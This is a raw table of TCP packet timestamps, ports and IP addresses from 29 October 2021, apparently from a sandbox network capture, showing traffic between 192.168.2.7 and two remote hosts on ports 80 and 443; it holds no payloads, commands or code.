Oct 29, 2021 15:30:08.308547020 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.308705091 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.361849070 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:09.932900906 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:09.985311985 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:09.985510111 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:09.985768080 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:09.985790014 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.058548927 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.058689117 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.058934927 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.098184109 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.111018896 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.150443077 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.150576115 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.150693893 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.150710106 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.202780962 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.229159117 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.229278088 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.229363918 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.261291981 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.281250000 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.314198017 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.314420938 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.314691067 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.314958096 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.367052078 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.367082119 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.393361092 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.393486023 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.399382114 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.434505939 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.452486992 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.487876892 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.492500067 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.492757082 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.492777109 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.575754881 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.575819016 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.575880051 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.575928926 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.575938940 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.575987101 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.576026917 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.576052904 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.576067924 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.576096058 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.576107025 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.576147079 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.576155901 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.576186895 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.576529980 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.629192114 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629236937 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629277945 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629297018 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.629318953 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629357100 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629412889 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629426003 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.629455090 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:10.629477978 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.629523993 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.629812002 CEST	49773	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:10.683094025 CEST	80	49773	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.357656956 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.409712076 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.410065889 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.410115004 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.414098978 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.462304115 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.465958118 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.489363909 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.492561102 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.494116068 CEST	49779	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.538990021 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.546056986 CEST	80	49779	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.592180014 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:12.596086025 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.945866108 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:12.945915937 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.025068998 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025113106 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025142908 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025172949 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025202036 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025230885 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025259972 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025279999 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.025290966 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025325060 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025352955 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.025366068 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.025392056 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.025412083 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078389883 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078449011 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078488111 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078526974 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078567028 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078607082 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078660011 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078665018 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078695059 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078699112 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078701973 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078742027 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078748941 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078782082 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078819990 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078857899 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078883886 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078898907 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078927040 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.078939915 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078980923 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.078993082 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.079019070 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.079057932 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.079071045 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.079097986 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.079135895 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.079174995 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.079202890 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.080931902 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.132479906 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132714987 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132762909 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132802010 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132813931 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.132839918 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132870913 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.132910967 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132955074 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.132992983 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133013010 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133033991 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133057117 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133079052 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133119106 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133133888 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133162022 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133202076 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133215904 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133241892 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133281946 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133320093 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133335114 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133359909 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133399963 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133410931 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133439064 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133450031 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133479118 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133517981 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133558035 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133569002 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133599997 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133637905 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133654118 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133678913 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133718967 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133723974 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133758068 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133800030 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133810043 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133840084 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133887053 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133896112 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133932114 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.133949041 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.133981943 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134037971 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134092093 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134131908 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.134147882 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134191036 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134206057 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.134232044 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134243965 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.134273052 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134314060 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134352922 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.134437084 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.135188103 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.187681913 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187721014 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187746048 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187764883 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187793970 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187819958 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187845945 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187871933 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187900066 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187927008 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187953949 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187968016 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.187980890 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.187995911 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188002110 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188010931 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188040972 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188056946 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188065052 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188102007 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188123941 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188138962 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188169956 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188193083 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188196898 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188215017 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188226938 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188254118 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188281059 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188307047 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188333988 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188357115 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188359976 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188386917 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188415051 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188443899 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188513041 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188539028 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188560009 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188580036 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188601017 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188620090 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188646078 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188666105 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188685894 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188695908 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188708067 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188740015 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188750029 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188766956 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188776016 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188838959 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188888073 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188910007 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.188915968 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188942909 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.188942909 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.189002037 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.189172029 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.189209938 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.189228058 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.189245939 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.189275980 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.189300060 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.189611912 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.189668894 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.189757109 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.241662979 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241723061 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241765022 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241803885 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241843939 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241862059 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.241887093 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241928101 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.241936922 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.241950035 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.241981983 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242023945 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242029905 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242067099 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242108107 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242116928 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242149115 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242189884 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242197037 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242232084 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242270947 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242310047 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242311001 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242350101 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242356062 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242391109 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242434025 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242472887 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242503881 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242512941 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242546082 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242553949 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242592096 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242634058 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242651939 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242683887 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242724895 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242734909 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242769957 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242773056 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242809057 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242849112 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242866039 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242889881 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242929935 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.242938042 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.242969990 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243010044 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243020058 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.243052959 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243096113 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243103027 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.243134022 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243174076 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243212938 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243249893 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243251085 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.243283033 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.243290901 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243330956 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243365049 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:13.243379116 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.246884108 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.247942924 CEST	49780	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:13.300990105 CEST	80	49780	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:15.698035002 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:15.698071957 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:15.698189974 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:15.792500019 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:15.792529106 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:15.844707012 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:15.844816923 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:15.848633051 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:15.848651886 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:15.848906040 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.010813951 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.708913088 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.742522001 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.751368046 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.751580954 CEST	443	49782	162.159.135.233	192.168.2.7
